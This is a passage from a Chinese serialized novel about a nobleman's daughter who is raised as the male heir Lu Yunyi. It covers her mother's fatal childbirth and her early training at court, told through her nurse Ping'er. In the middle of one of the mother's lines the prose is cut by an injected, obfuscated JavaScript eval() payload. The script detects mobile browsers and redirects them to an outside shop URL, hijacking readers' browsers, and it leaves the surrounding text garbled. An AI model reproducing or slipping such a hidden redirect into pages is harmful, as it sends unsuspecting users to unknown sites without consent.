陆云逸却像已经累了,往椅背上靠了靠,声音轻了些。 陆云逸闭上眼。 窗外的晴光照进来,落在他苍白的脸上。他看起来安静极了,像一个终于肯歇下来的病人。 可萍儿站在他身边,却觉得这安静不是真的安静。 像湖面结了一层薄冰。 冰下的水,还在慢慢流。 21. 春衣未展故人痕 听雪斋外,廊下的丫鬟仍照常洒扫。厨房仍按时送来汤水,书房仍燃着银丝炭。府里的管事也按旧例送来新裁的春衣样子,让萍儿过目。 明亲王府不是寻常人家。 陆云逸从小到大,四时衣裳都由针线房提前裁好。春有春衫,夏有夏袍,秋有夹衣,冬有狐裘鹤氅。哪怕他不爱装饰,衣裳也总是全新的。所谓整理,不过是看料子是否合身,针脚是否细密,颜色是否太艳,领口袖缘会不会碍着他读书写字。 萍儿此刻膝上放着的,便是一件新裁好的月白春袍。 料子是江南进上的轻罗,摸在手里像水一样滑。衣襟内侧用极细的银灰线压了暗纹,不凑近看,几乎看不出来。针线房的人说,这料子不张扬,适合小王爷病中穿着,既轻便,又不显得寒素。 萍儿手里拿着那件衣裳,却许久没看进去。 她比陆云逸大了快三十岁。 从陆云逸出生到如今,她几乎把自己半生都耗在这个孩子身上。别人唤她萍儿姑娘,听着仍像年轻时候的称呼,可她自己知道,鬓边已有细细白发,眼角也有了纹路。她不是陆云逸的母亲,却比世上许多母亲陪孩子陪得更久。 陆云逸靠在窗边看书。 他最近精神尚好,脸色虽仍有些白,却不似前几日那样疲惫。窗外阴云压着王府的屋脊,梅花开得冷清,灯点得早,屋里有一种昏黄的暖意。 萍儿低头看了看手里的新衣,道:“这件颜色倒清爽。等来年天气暖了,穿这个也好。” 陆云逸嗯了一声,却没有翻页。 萍儿抬头看他。 “怎么了?” 陆云逸把书合上。 屋里安静了一瞬。 他忽然唤道:“娘。” 萍儿的手猛地一紧。 那件月白春袍被她攥出一点褶皱。 她抬头看陆云逸,心像被人提了起来。 这几日她最怕听见这个字。 不是因为她不愿听,而是怕这一声之后,坐在她面前的人又不再是陆云逸。她怕他又变成那个自称鸯鸯、把自己当成女儿的人,怕他眼里露出陌生的亲近,怕他抓着她的袖口说自己只是替娘亲找养老之地去了。 可陆云逸看着她,却笑了一下。 那笑很轻,也很清醒。 “别怕。” 萍儿怔住。 陆云逸道:“我是陆云逸。” 萍儿悬着的心没有立刻放下。 她看着他,像要从他脸上辨出一点不对。 陆云逸又道:“我只是想这样叫你。” 萍儿的眼眶一下红了。 她低下头,慌忙去理手里的衣裳,像这样便能把自己的失态遮过去。 “胡说什么。” 陆云逸看着她。 “我在外头这些年,总想着家。可真回来了,又觉得家这个字说起来容易,落到人身上很难。明亲王府是家,父王在的地方也该是家。可我想得最多的,还是你。” 萍儿的手慢慢停住。 陆云逸道:“我亲娘生我时难产去了。自我有记忆起,便是你在我身边。夜里发热,是你守着。先生罚我抄书,是你替我磨墨。父王不在府中,府里人不敢亲近我,也是你陪我说话。” 他停了一下,声音低了些。 “我早就把你当娘了。” 萍儿眼泪落下来。 她慌忙转过脸。 “这话不能乱说。” “没有乱说。” “你是小王爷,我算什么?”萍儿声音发哽,“我不过是……” “是把我养大的人。”陆云逸接过她的话。 萍儿说不下去了。 她这辈子听过许多称呼。从前在别处,人们按差事唤她,按来处猜她,也按规矩防着她,后来到了明亲王府,府中下人敬她几分,称她一声萍儿姑娘,外头的人知道她在明亲王府有些体面,便客客气气称一声姑姑。可这些称呼里,没有一个比这一声“娘”更重。 重得她不敢接。 又舍不得推开。 陆云逸看着她,忽然问:“颜淞前日是不是同你说过什么?” 萍儿擦了擦眼角。 “你怎么问这个?” “你这几日看我的眼神不对。” 萍儿叹了一口气。 “我现在看你,哪一日对过?” 陆云逸笑了一下。 萍儿沉默片刻,道:“颜太医只是说,你这病未必全是游历之后才有的。或许根子更早些。” 陆云逸并不意外。 “他说我小时候吗?” 萍儿点点头。 “我说你小时候很正常。” 陆云逸看着她。 萍儿自己也笑了笑,只是那笑有些苦。 “我说出口时,也觉得这话没什么意思。” 陆云逸没有接话。 萍儿把那件新衣放到一旁,轻声道:“你小时候,是很乖。认字早,读书快,不哭不闹,也不乱跑。先生说你沉稳,府里人说你懂事。可如今想想,一个孩子太懂事,也许本就不是好事。” 她抬头看着陆云逸。 “尤其你明明是个女孩,却偏要当成男孩养。” 这句话不是第一次在他们之间出现。 萍儿说不下去了。 她低头看着膝上的月白春袍。 那衣裳太干净,太轻,像一片还未落下的云。可她眼前却忽然浮现出许多年前另一片白。 那是产房里被血浸透之前的白绫。 是朱珍珍额头上被汗湿透的帕子。 也是那个孩子刚被抱进她怀里时,沾着血水与胎脂的襁褓。 颜淞前日问她,小王爷童年是否受过什么刺激。 她说没有。 她说得太快。 因为她不知道该怎么说。 该说什么呢? 小时候的陆云逸也曾坐在问她:“既然我是女孩,为什么一直假装是男孩?” 萍儿那时答不上来。 她只能告诉她:这是你娘的决定。 …… 陆云逸出生那年,朱珍珍已经四十余岁。 这个年纪生孩子,本就凶险。更何况她与陆棣铭成婚多年,一直没有子嗣,忽然有孕,明亲王府上下既欢喜,又小心。 那时候,陆棣铭与朱珍珍已经回京多年。 朱珍珍出身名门,少女时也是京中人人称羡的贵女。只是她性子不似寻常闺阁女子那样柔顺,读书骑马,皆有自己的主意。后来嫁给陆棣铭,夫妻二人感情极好,但她不愿意一辈子困在王府内宅,提出了离京闯荡。 陆棣铭起初是不同意的,皇子擅自离京实在麻烦。可朱珍珍要做一件事,向来不是旁人三言两语能拦住的。她说京城太小,宫墙太高,王府门第也不过是另一种笼子。她想去外头看看,看看书里没写完的山河,也看看那些贵女们一辈子不会见的人间。 后来,陆棣铭到底随她去了。 那些年朝局不稳,陆棣铭离京,二人在江湖上走过许多地方,见过侠客、商旅、流民,也见过山匪和官兵。 朱珍珍常说,自己那几十年才算真正见过天地。 后来皇帝登基,陆棣铭回京辅佐皇帝办事,朱珍珍也跟着回了京城,朝局也渐定。她从名门贵女,到江湖中人,又回到王府王妃的位置上,许多人都说她这一生够洒脱。 可朱珍珍自己并不这样想。 她怀着陆云逸时,精神反倒比从前柔和许多。 明亲王府里那段日子,是少有的喜气。陆棣铭虽忙,却常常回府。晚间若无宫中传召,便陪朱珍珍在廊下坐一会儿。萍儿那时还年轻,陪在朱珍珍身边,替她看汤药、理衣裳,也听她和陆棣铭说孩子。 有一日,天气极好。 朱珍珍坐在窗下,手放在隆起的小腹上,忽然问陆棣铭:“你说,是男孩还是女孩?” 陆棣铭那日心情似乎不错,笑道:“都好。” 朱珍珍看他一眼。 “又油嘴滑舌。” 陆棣铭道:“是真话。” 萍儿在一旁替朱珍珍叠小衣裳,听着他们说笑,也跟着笑。 朱珍珍却沉默了一会儿,道:“我希望是男孩。” 萍儿愣住。 她原以为朱珍珍会说女孩。 毕竟朱珍珍这一生最不受世俗拘束,也最厌烦旁人将女子困在闺阁。她从前还曾同萍儿说过,若将来有女儿,便教她骑马,教她读书,教她看山河,不叫她一辈子只困在绣楼里。 萍儿忍不住道:“珍珍姐为何这样说?” 朱珍珍看向屋外。 院中的梅树还没有开,枝条却已经生出细小的芽。 她轻声道:“因为我这一生,看着是洒脱,其实也没真正挣开。” 萍儿一时还没明白。 陆棣铭却没有笑。 朱珍珍继续道:“我出身名门时,旁人说女子该端庄守礼。我跟你去江湖,旁人又说王妃不成体统。后来回了京,别人表面敬我,背后也说我不守妇道、不安内宅。你看,我已经走了那么多地方,做了那么多不该女子做的事,可到头来,别人还是先看我是女子。” 她低头摸着自己的小腹。 “若是男孩,他能走的路就多很多。旁人会教他读书,教他骑射,教他议政,教他看天下。他出门不必解释为什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520946|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么出门,他有野心也不会被说不安分。他错了,是年少;他对了,是英才。” 萍儿听得心里发闷。 朱珍珍又道:“若是女孩呢?她再聪明,再有胆识,也会有人先替她想嫁谁,想她该如何贞静,想她将来在谁家后宅里过日子。” 陆棣铭沉声道:“我的女儿,不必如此。” 朱珍珍看着他,笑了一下。 “你能护她多久?” 陆棣铭没有立刻回答。 朱珍珍道:“就算是棣贤公主,如今也不知怎样了…” 提起这个名字,三个人都沉默了许久。 后来朱珍珍又笑起来,像是不愿把话说得太沉。 “当然,若真是女孩,我也疼她。” 她看向萍儿。 “只是我会心疼。” 那时萍儿没有想到,这些话后来会成真。 更没有想到,朱珍珍会亲手替那个还未出生的孩子,选一条最艰难也最危险的路。 朱珍珍临产前,王府上下都是欢喜的。 那一日,雪停了,天光很亮。府中早早备好了产房,稳婆是重金请来的,皇帝派来帮忙的御医也候在外头。孩子的小衣裳一箱一箱放好,长命锁、玉佩、襁褓、虎头鞋,全都备齐。 皇帝也提前准许陆棣铭留在家中。 他守在外间,虽不多话,却能看出紧张。朱珍珍反倒还笑着安慰他,说:“你别在外头绷着脸,吓着孩子。” 陆棣铭道:“还没生出来,吓不着。” 朱珍珍笑着骂他:“没良心。” 那时屋里的人都笑了。 萍儿也笑。 谁也没想到,那笑声会是那一日最后一点轻松。 到夜里,情形便不对了。 朱珍珍年纪太大,生产艰难。起初还能忍着,后来疼得满身冷汗,手死死攥着床帐。稳婆一盆一盆要热水,御医在外间急得来回走,却不能入内,只能隔着屏风吩咐用药。 血气很快漫了出来。 热水端进去,又端出来。 干净的帕子换了一叠又一叠。 陆棣铭站在外间,脸色沉得吓人。有人劝他去旁边歇一歇,他像没听见。屋里朱珍珍每疼得喊一声,他的手便握紧一分。 到后半夜,朱珍珍的声音已经哑了。 萍儿跪在床边,手被她攥得发青。她一边哭,一边不敢哭出声,怕扰了稳婆,也怕朱珍珍听见。 陆棣铭在外间站不住了。 稳婆和嬷嬷都拦他,说产房血气重,男子不能进。陆棣铭像没听见,抬手推开屏风,直接进了内室。 屋里的人都吓住。 朱珍珍听见动静,艰难地睁开眼。 她看见陆棣铭,竟还想笑一下。 只是那笑太虚弱,几乎没有成形。 陆棣铭走到床边,握住她的手。 朱珍珍的手全是冷汗。 她看着他,喘息着说:“阿铭……” 陆棣铭俯身:“我在。” 朱珍珍的声音断断续续,悄悄对陆棣铭说:“若是……女孩……也当男孩养。” 陆棣铭的手猛地收紧。 “你别说这些。” 朱珍珍却不听。 她盯着他。 那双眼睛里没有一时冲动。 只有一种近乎残忍的清醒。 “答应我…” 陆棣铭没有答。 朱珍珍又攥紧他的手。 “你答应我。” 陆棣铭喉结动了动。 “好。” 朱珍珍的目光又转向萍儿。 “还有……萍儿。” 萍儿跪在床边,哭得说不出话。 朱珍珍勉强的寄出笑容道:“若你愿意,能帮我照顾孩子吗?” “我帮你,珍珍姐,我帮你,撑住啊…” “阿铭,萍儿愿意的话…就让她继续待在府中…” 陆棣铭痛苦的闭上双眼道:“好。” 朱珍珍似乎放下一点心。 她又道:“名字……” 陆棣铭低声道:“先别想这些。” 朱珍珍摇头。 她已经没有多少力气,却仍固执地把话说完。 “云逸。” 陆棣铭怔住。 朱珍珍气息微弱。 “云……逸……” 她看着陆棣铭。 “陆云逸。” 这名字便备下了。 男孩可以用。 女孩也可以用。 可在朱珍珍嘴里,它从那一刻起,便不再只是名字。 可是孩子仍没有生下来。 22. 朱颜血尽换新啼 一夜过去,朱珍珍的力气已经耗尽。稳婆换了几回法子,御医在外头急得几乎失态。到最后,屋里所有人都明白,再这样拖下去,便是母子俱亡。 御医隔着屏风,声音发颤,说还有最后一法。 那法子太凶。 凶到连稳婆都白了脸。 剖腹取子。 屋里一下静了。 那不是生。 那是从死里抢。 抢得回来一个,便要丢下另一个。 朱珍珍听见了。 她竟像早有预料,只看着陆棣铭。 陆棣铭的脸白得吓人。 “不可。” 朱珍珍嘴唇动了动。 “要孩子。” 陆棣铭没有说话。 朱珍珍又说了一遍。 “要孩子。” 那一刻,萍儿忽然觉得,朱珍珍不是在求陆棣铭。 她是在命令他。 像她年轻时决定离京,决定走江湖,决定不按旁人替她写好的路活一样。 最后一回,她决定把孩子从自己的命里剖出来。 陆棣铭闭上眼。 过了很久,他哑声道:“做。” 屋里所有无关的人都被赶了出去。 产房门关上。 风雪声被隔在外头。 萍儿不记得那一刻自己是怎么跪稳的。她只记得血味浓得让人喘不过气,朱珍珍的手渐渐松开,又被陆棣铭死死握住。稳婆和一个年老的御医颤着手动刀,御医在屏风外急声吩咐止血用药。 那过程像一场噩梦。 朱珍珍起初还清醒,后来疼得连声音都发不出来。她的眼睛一直看着陆棣铭,像怕自己一闭眼,就再也看不见他。 孩子被取出来时,屋里所有人都乱了。 朱珍珍的血一下涌得更凶,稳婆们几乎同时扑回床边去按伤口。屏风外的御医也顾不得避讳,急声命人送药、递针、止血。所有人的眼睛都在朱珍珍身上。 唯有萍儿本能地伸手,接住了那个浑身血污、微弱到几乎没有声息的孩子。 孩子太小。 太滑。 像从死亡里滚出来的一团热肉。 萍儿抱住她时,整个人都在抖。 她低头看了一眼。 只一眼。 便看清了。 是女孩。 同一瞬间,陆棣铭也看见了。 他的目光从朱珍珍苍白的脸上移到萍儿怀中,又很快收回。 稳婆们都在拼命救朱珍珍,御医们也全被朱珍珍那边牵住。那孩子被萍儿飞快裹进襁褓里,血和胎脂遮住了细小的身体,也遮住了一个足以改变她一生的秘密。 孩子终于哭了一声。 很细。 像猫叫。 萍儿却在那一声里哭得几乎断气。 朱珍珍听见了。 她的眼睛动了动。 她已经看不清孩子,也许也听不清旁人在说什么了。可她像知道孩子活了,嘴角竟轻轻动了一下。 萍儿抱着孩子跪到床边。 “珍珍姐,是孩子……孩子活了……” 朱珍珍的目光落在襁褓上。 她没有问男孩女孩。 因为她已经把答案说在前头了。 无论是男是女,都叫陆云逸。 无论是男是女,都走男孩的路。 她的手指动了动,像想碰一碰孩子,却再也抬不起来。 最后,她只看着萍儿,用几乎听不见的声音说: “照顾她。” 萍儿哭着点头。 “我会。” 朱珍珍又看向陆棣铭。 陆棣铭俯身靠近她。 朱珍珍嘴唇轻轻动了动。 也许是要他守住秘密。 也许是要他别恨这个孩子。 也许只是想叫他的名字。 可她已经没有力气了。 那双曾看过京城深宅,也看过江湖风雪的眼睛,慢慢失了光。 …… 天亮时,明亲王府传出消息。 王妃朱珍珍难产而亡。 世子陆云逸出生。 是世子。 这个消息是陆棣铭定的。 产房里血气仍重,御医和稳婆跪在地上,浑身发抖。她们只知道王妃死了,孩子活了。至于孩子是男是女,在那场血肉模糊的混乱里,并没有人敢问,也没有人敢看。 陆棣铭抱过孩子。 他只抱了一瞬。 那孩子太小,哭声弱得像随时会断。 陆棣铭看着她,脸上没有一点初为人父的喜色。只有一种深到极处的疲惫与悲痛。过了很久,他把孩子还给萍儿。 然后,他转身看向屋里所有人。 声音平静得可怕。 “今日出生的,是世子。” 没有人敢说话。 陆棣铭又道:“王妃血崩而亡。孩子体弱。旁的,一个字也不许传出去。” 稳婆和御医连连叩头。 她们只当是剖腹取子的法子太凶,有损王府体面,明亲王不愿外人议论。谁也不敢往更深处想。那一年,顺天城里死一个王妃,生一个世子,已经是足够大的事。富贵人家的事,越大,越没人敢细问。 那日之后,产房里近身伺候的人全部换了。 稳婆被重金送走,也被明亲王府的规矩压得死死的。御医只知道王妃难产,世子体弱,旁的不敢多问。府中上下很快统一了说法:明亲王府盼了多年,终于得了一个儿子,只是王妃福薄,没能熬过去。 京中许多人来贺。 皇帝也赐了东西。 金锁,玉如意,宫中绸缎,太医调养方子,还有一封亲笔写给陆棣铭的诏书。那封诏书外人没有看见,只知道明亲王进宫谢恩时,在御书房里待了很久。 陆棣铭回府后,在朱珍珍灵前站了一夜。 萍儿抱着孩子跪在旁边。 那时她还年轻,尚不明白这一夜之后,自己的一生又会发生什么变化。她只知道,朱珍珍临死前把孩子托给了她。 所以她必须守着。 孩子太弱。 头几个月,陆云逸几乎是在汤药气里长起来的。白日里睡,夜里哭,哭声细得像猫。太医隔三差五来一趟,每次都说要小心养着。王府里炭火不断,窗缝也用厚毡封住。萍儿怕她冷,又怕她闷,常常一夜一夜守着,手伸进襁褓里探她的背,湿了便换,冷了便添。 那孩子却并不太爱哭。 她好像很早就知道哭没有用。 饿了哭两声,没人来便停。冷了皱着脸,裹严了也不闹。萍儿一开始还以为她是体弱,后来慢慢发现,她只是安静。 别的孩子长到半岁,会伸手乱抓,会咿咿呀呀地喊人。陆云逸也会,只是不常。她常常睁着一双黑亮的眼睛,盯着屋梁,盯着窗纸,盯着萍儿的脸。萍儿被她看得心软,便低头亲她额头。 “云逸。” 她轻轻叫。 孩子听见这个名字,会转一转眼珠。 萍儿又叫:“云逸。” 这名字是朱珍珍取的。 陆云逸。 云在天上,逸在远处。萍儿有时想,朱珍珍取这个名字的时候,大约已经把许多话藏进去了。她知道这个孩子一出生便不会容易,所以给她一个宽阔的名字。像是盼她将来能越过门第、越过性别、越过这些人给她设下的界限,像云一样,远一点,再远一点。 可孩子一天天长大,最先学会的,却不是远走。 而是藏。 她出生时,府里人已经叫她“小世子”。 一岁时,她能扶着桌脚走路。走不稳,摔了也不怎么哭。萍儿怕她磕坏,叫人把屋里尖角都包起来。她却偏爱往门口去。门槛对一个一岁的孩子来说很高,她扶着门框,一次一次抬脚,跨不过去,便坐在门边看外头。 外头是王府的院子。 青砖地,石榴树,冬日里光秃秃的花架,来来往往低头行走的仆人。 她看得很认真。 萍儿抱她回来,她也不闹,只伸手指着外头。 “那是什么?”萍儿问她。 孩子说不清,只发出一点含糊的声音。 萍儿便一样一样告诉她。 “那是树。” “那是灯笼。” “那是扫地的吴伯。” “那是门。门外还有门。出了王府,是街。街外是城。城外还有很多地方。” 孩子听得不懂,却好像把这些话都收进去了。 后来陆云逸记得,自己童年最早的记忆,不是父亲,也不是皇帝,而是一扇门。 朱红色的王府侧门。 门很高。 她很小。 她站在门里,看外头人影晃动,觉得那门像一条线。线里的人说话轻,走路稳,吃饭有钟点,穿衣有规矩。线外的人什么样,她不知道。她只知道,外头的声音比里头杂。 有卖炭的吆喝,有马车的轮声,有小孩跑过时的笑,也有偶尔传进来的哭声。 她问萍儿:“为什么他们哭?” 萍儿那时正在给她系腰带。 王府的小世子不能像寻常孩子那样随意穿衣。两岁以后,她的衣裳便大多是男童式样,小小的袍子,小小的革带,头发也按男孩的样子梳。萍儿手很巧,给她穿戴得很齐整,却总会把衣带系得稍松些,怕勒着她。 萍儿听见她问,动作停了一下。 “谁哭?” 陆云逸指了指门外。 萍儿听了一会儿。 外头确实有哭声。像是哪个挑担的小贩被巡街的差役赶了,东西撒了一地,正求着人别踩。 萍儿把陆云逸抱起来,带她回屋。 “人有时候难过,便会哭。” 陆云逸问:“为什么难过?” 萍儿想了想,说:“因为想要的东西没有,怕失去的东西却偏偏失去了。” 这话太深。 两岁的陆云逸听不懂。 她只问:“那哭有用吗?” 萍儿看着她,忽然不知道该怎么答。 过了很久,她说:“有时候有用。有时候没有。” 陆云逸又问:“什么时候有用?” 萍儿道:“有人心疼你的时候。” “没人心疼呢?” 萍儿摸了摸她的头。 “那就先别哭。先想办法活下来。” 这句话,萍儿说得很轻。 她那时没有想到,自己会把这样一句话教给一个两岁的孩子。 陆云逸也未必听懂了。 可后来很多年,她确实很少哭。 她摔倒时不哭,被先生罚站时不哭,练箭磨破手掌时不哭。母亲忌日那天,她跪在灵前,看见萍儿红了眼圈,才问:“我是不是也该哭?” 萍儿的眼 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屋中光暗,他背对着门,身形高而清瘦,穿一身素色衣袍,没有佩玉,也没有戴冠。只是站在那里,屋里的仆人便都不敢出声。 萍儿停住脚步,低声道:“王爷。” 男人转过身。 陆云逸抬头看他。 她那时还小,只觉得这个人眉眼清俊,神色很冷,像冬日里一块干净的石头。他看见她,眼中似乎动了一下。可那一点动静很快便没了。 萍儿轻轻推了推她。 “云逸,叫父亲。” 陆云逸看着陆棣铭。 “父亲。” 陆棣铭没有立刻应。 他看着她的脸,看了很久。 久到萍儿都有些不安。 最后,他只说:“长高了。” 这便是陆云逸记忆里,父亲对她说的第一句话。 长高了。 没有问她吃得好不好,夜里睡不睡,读了什么书,怕不怕冷。只是一句长高了。 陆云逸那时不懂失落,只觉得父亲大约就是这样的人。 她规规矩矩地行礼。 陆棣铭看着她的动作,像是还想说什么。最后却只是越过她,对萍儿道:“照顾好世子。” 萍儿低头:“是。” 陆棣铭走后,屋里香烟还在袅袅往上升。 陆云逸看着门外。 “父亲不喜欢我吗?” 萍儿心里一疼。 她蹲下来,看着陆云逸的眼睛。 “不是。” “那他为什么不抱我?” 萍儿说不出话。 她该怎么告诉这个孩子呢? 告诉她,你父亲不是不想抱你,是不敢在人前太疼你。告诉她,你母亲因你而死,你父亲看见你,便想起那一夜的血。告诉她,在王府和皇宫之间,父女之情从来不是单纯的父女之情。 这些话都不能说。 所以萍儿只能把她抱起来。 “有些人疼人,不会说,也不会做给别人看。” 陆云逸靠在她怀里,认真想了想。 “那怎么知道他疼不疼?” 萍儿道:“看他在你看不见的地方做了什么。” 陆云逸又问:“我怎么看见看不见的地方?” 这孩子太会问。 她抬手理了理陆云逸额前的碎发。 “那就慢慢看。” 这句话,后来成了萍儿教她最多的话。 慢慢看。 看人说话时看眼睛,也看手。看一个人答应你什么,更要看他避开什么。看旁人对你好,先不要急着信,也不要急着拒。温柔有时是真心,有时是刀鞘。冷淡有时是无情,有时是遮掩。 萍儿从不教她女红。 王府里当然有人提过。说小世子虽是男孩,却体弱,手又细,不如学些静养的事。也有嬷嬷无意中笑,说小世子捏针的手势倒像姑娘家。 萍儿听了,只淡淡看那嬷嬷一眼。 那嬷嬷从此再不敢说。 但萍儿私下里确实教过陆云逸许多“姑娘家才该懂”的事。 不是女戒,也不是三从四德。 她教她看衣裳料子,看账房有没有在采买里偷钱。教她看丫鬟走路急不急,判断院中是不是出了事。教她听人说话时哪一句是真的,哪一句是怕担责说出来的。教她在不高兴时不要立刻变脸,在害怕时先稳住手,哪怕心里已经乱了,倒茶时也不能让杯子碰出响声。 “人心最先看的是你的慌。”萍儿说,“你一慌,旁人便知道从哪里捏你。” 陆云逸问:“那我若真的怕呢?” “怕也可以。”萍儿道,“怕不是错。让别人知道你怕,才容易出事。” 陆云逸又问:“那干妈怕过吗?” 萍儿正在给她整理衣领,手指停了一下。 “怕过。” “什么时候?” 萍儿没有答。 陆云逸看着她。 萍儿笑了笑:“等你长大些,再告诉你。” 这话后来被她说过许多次。 等你长大些。 等你再懂些。 等你能护住自己。 可许多事,等来等去,便成了旧事。 23. 宫门深处学为臣 陆云逸四岁时,第一次进宫。 那天王府上下忙了很久。 萍儿给她换上新做的小袍子,月白底,青色边,腰间束一条小革带。她本来就瘦,穿上这样齐整的衣裳,更像个清清正正的小公子。 萍儿替她束发时,动作比平日慢些。 陆云逸坐在铜镜前,看着镜中的自己。 “干妈,我像男孩吗?” 萍儿的手顿住。 这不是陆云逸第一次问这样的话。 她很早便知道自己同别的男孩不一样。不是因为身体,孩子太小时未必懂那些。是因为萍儿给她洗澡时总格外谨慎,因为院里从不用粗手粗脚的小厮贴身伺候她,因为有几回她想同别的小公子一起到池边脱鞋玩水,萍儿立刻把她叫走。 孩子不懂道理,却能察觉不同。 萍儿看着镜里的她。 “像。” 陆云逸问:“那我本来是什么?” 萍儿沉默了一会儿。 “你本来是你。” 这个回答不好。 陆云逸不满意。 “我是女孩吗?” 屋里静了下来。 窗外风吹动枝叶,影子落在地上,轻轻摇。 萍儿把梳子放下,蹲到她身边。 “是。” 陆云逸看着她。 “那为什么大家叫我世子?” 萍儿说:“因为你娘希望你这样活。” “为什么?” “因为这世道里,男孩能走的路,比女孩多。” 陆云逸低头看自己的手。 她的手很小,手背上还有浅浅的窝。 “女孩不能走路吗?” 萍儿心口一酸。 “能走。”她说,“只是路窄,门多,拦着的人也多。” “男孩就没有人拦吗?” “也有。” “那为什么要做男孩?” 萍儿看着她,过了很久才说:“因为你娘想让你多几条路。哪怕那些路也难走,总比一开始便被人关在屋里好。” 陆云逸想了很久。 “那我以后还能做女孩吗?” 萍儿的眼睛微微红了。 她伸手抱住陆云逸。 “在我这里,你一直都是。” 陆云逸被她抱着,没有说话。 过了一会儿,她轻声问:“在别人那里呢?” 萍儿闭了闭眼。 “在别人那里,你是陆云逸。” 陆云逸从那天起,记住了这句话。 在别人那里,她是陆云逸。 小世子陆云逸。 明亲王府盼了多年才得的独子。 不能害怕,不能娇气,不能在人前哭,不能在更衣沐浴时让不该进来的人进来。不能同别的男孩太近,也不能同女孩太近。不能忘了自己是女孩,也不能让别人看出她是女孩。 一个五岁的孩子,未必懂什么叫欺君,什么叫宗室,什么叫名分。 她只知道,自己不能错。 一错,萍儿会害怕。 父亲会冷下脸。 母亲留下的路,也许就断了。 进宫那日,陆棣铭亲自带她去。 那是她第一次坐王府的车入宫。 马车很稳,车帘垂着。陆棣铭坐在对面,闭目养神。陆云逸坐得笔直,两只手放在膝上。 父女二人一路无话。 快到宫门时,陆棣铭忽然睁开眼。 “入宫之后,少说,多听。” 陆云逸立刻点头。 “陛下问什么,便答什么。不知道的,不要逞强。” “是。” 陆棣铭看着她。 “不要怕。” 陆云逸抬头。 这是父亲第一次对她说“不要怕”。 她有些意外。 陆棣铭却已经移开目光。 “宫里的人都长着眼睛。”他说,“你越怕,他们越要看你。” 这句话听起来像提醒,不像安慰。 陆云逸却记住了。 宫里很大。 大到她一进去,便觉得自己从王府那扇门,走进了另一扇更高更深的门里。红墙,金瓦,白石阶,长长的宫道,行礼时低下去的头。每个人走路都有规矩,每句话都像先称过轻重。 陆云逸跟着陆棣铭走进御书房时,皇帝正在看奏折。 陆棣昤抬头。 那一瞬间,陆云逸愣住了。 她以为自己看见了另一个没有蓄须的父亲。 两人长得太像。一样的眉眼,一样的鼻梁,一样清俊而沉稳的脸。可只一眼,她又知道他们不一样。 父亲像一口封住的井。 皇帝像一座亮着灯的深宫。 井里藏着什么,要低头才能看。宫里的灯却照着你,让你不知道自己哪一处被看见了。 陆棣铭行礼。 陆云逸也跟着跪下。 “云逸见过陛下。” 皇帝放下奏折,看着她。 “起来。” 陆云逸起身后,仍低着眼。 皇帝笑了一声。 “倒是规矩。” 陆棣铭道:“初次入宫,怕失礼。” “孩子还小,不必拘得太紧。” 皇帝说着,朝陆云逸招了招手。 “过来,让朕看看。” 陆云逸看了父亲一眼。 陆棣铭没有表情。 她便走过去。 皇帝伸手摸了摸她的头。 他的手掌温热,带着一点朱墨的气味。 “长得像你母亲。” 陆云逸当时还不知道这句话意味着什么。 她只知道,父亲的脸色在那一瞬间变得更冷。 皇帝似乎也察觉了,却没有收回手。他看着陆云逸,眼神很深,像透过她看见另一个人。 “读书了吗?” “回陛下,读了《千字文》和《孝经》。” “会背?” “会。” 皇帝随口抽了几句。 陆云逸一一答了。 皇帝问到后面,神色里多了些兴味,又问她几个字义。陆云逸答得不算精妙,却没有错。 皇帝笑了。 “不错。” 陆云逸听见这两个字,心里轻轻松了一点。 陆棣铭却没有笑。 回府路上,陆棣铭仍坐在她对面。 马车驶出宫门许久,他才开口。 “今日答得还可以。” 陆云逸低声道:“谢父亲。” 陆棣铭看着她。 “陛下夸你,你不必太高兴。” 陆云逸不明白。 陆棣铭道:“也不必故意藏拙。” 这两句话像是互相矛盾。 陆云逸抬头看他。 陆棣铭却不再解释。 她那时还小,不懂这话。 后来她才慢慢明白,父亲这两句话,其实是他能给她的全部教导。 不必太高兴,是因为皇帝的夸赞不是寻常长辈的喜欢。 不必故意藏拙,是因为皇帝不喜欢别人以为能骗过他。 既要让皇帝看见你的用处,又不能让他觉得你用处太大。 既要站在光里,又要知道光会烫人。 这便是陆云逸最早学会的皇权。 四岁以后,她开始同宗室子弟一起读书。 宫中给皇子皇孙设有讲席,明亲王府的小世子也被破例纳入其中。京中人听闻后,越发觉得皇帝看重明亲王一脉。有人羡慕,有人忌惮,也有人在背后说,陛下膝下子孙不少,偏偏对这个侄儿不同。 陆云逸听不见那些话。 她每日天不亮便起。 萍儿给她束发,穿衣,检查书袋。她吃一小碗粥,半块蒸饼,便随王府车马入宫。春夏秋冬,几乎不误。 宫中先生很严。 读书,写字,策论,骑射,礼法,算学,兵书,一样一样压下来。寻常孩子偶尔犯懒,也能被母妃护一护,被身边内侍劝一劝。陆云逸没有母妃,也不敢犯懒。 她知道自己不是皇子。 更知道自己不是男孩。 所以她没有资格出错。 先生讲书时,她坐得最端。旁人背不下来,她背得下来。旁人写错字,她不写错。骑射初学时,她胳膊没有其他孩子有力,拉弓拉得手臂发抖,却不肯放。武师走到她身边,皱眉说:“小王爷若拉不开,今日便先歇。” 陆云逸摇头。 “我能拉开。” 她咬着牙,把弓拉满。 箭射出去,落得不远。 几个皇子皇孙笑了。 笑声不大,却足够她听见。 陆云逸放下弓,没有看他们。 第二日,她手臂疼得抬不起来,仍照常去了。 第三日也是。 第四日也是。 半个月后,她射中的箭已经比笑她的人多。 先生把这事说给皇帝听。 皇帝听后,只说:“是个有恒心的孩子。” 这话传到王府,萍儿听了,却不觉得高兴。 晚上替陆云逸揉手臂时,萍儿看见她掌心磨破的地方,眼圈发酸。 “疼不疼?” 陆云逸道:“不疼。” 萍儿一用力,她便皱了眉。 萍儿道:“这叫不疼?” 陆云逸低头看着自己的手。 “疼也不能说。” “在外头不能说,在我这里也不能说?” 陆云逸不语。 萍儿把药膏抹开,动作轻了些。 